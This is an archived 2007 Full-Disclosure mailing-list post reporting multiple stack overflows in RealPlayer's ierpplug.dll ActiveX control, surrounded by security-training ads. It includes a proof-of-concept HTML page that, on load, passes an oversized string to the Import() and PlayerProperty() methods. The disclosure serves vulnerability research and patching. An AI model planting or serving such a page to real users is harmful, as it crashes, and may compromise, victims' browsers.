Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security FullDisclosure
[Top] [All Lists]
<prev [Date] next>
[Advanced]
 <prev [Thread] next>

[Full-disclosure] RealNetworks RealPlayer ierpplug.dll ActiveX Control M

from [Elazar Broad] Network Security [Permanent Link]
Subject: [Full-disclosure] RealNetworks RealPlayer ierpplug.dll ActiveX Control Multiple Stack Overflows
Date: Sun, 25 Nov 2007 17:11:22 -0500 (GMT-05:00) 
There are multiple stack overflows in the ierpplug.dll ActiveX Control. These 
issues were originally discovered by shinnai, 
http://www.securityfocus.com/bid/22811 and 
http://www.securityfocus.com/bid/21802. I am adding the Import() and 
PlayerProperty() functions to the list. This was tested on Windows XP SP2 fully 
patched, using IE 6; RealPlayer version 11, build 6.0.14.738, dist R41R01, 
ierpplug.dll version 1.0.1.3016. I have not tested code execution. PoC as 
follows:

------------
<!--
written by e.b.
-->
<html>
 <head>
  <script language="JavaScript" DEFER>
    function Check() {
    var s = "AAAA";

    while (s.length < 999999) s=s+s;

     var obj = new ActiveXObject("IERPCTL.IERPCTL"); 
//{FDC7A535-4070-4B92-A0EA-D9994BCC0DC5}


      obj.Import(s);
      var obj2 = obj.PlayerProperty(s);
      

   }
  </script>

 </head>
 <body onload="JavaScript: return Check();">

 </body>
</html> 
------------

Elazar

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
[More messages with this same subject...]




<Prev in Thread] Current Thread [Next in Thread>
Previous by Date:  [Full-disclosure] False advertisting and possible click fraud about n3td3v, worried security
Next by Date:  [Full-disclosure] RichFX nprfxins.dll ActiveX Control Multiple Stack Overflows, Elazar Broad
Previous by Thread:  [Full-disclosure] False advertisting and possible click fraud about n3td3v, worried security
Next by Thread:  Re: [Full-disclosure] RealNetworks RealPlayer ierpplug.dll ActiveX Control Multiple Stack Overflows, Elazar Broad
Indexes:  [Date] [Thread] [Top] [All Lists]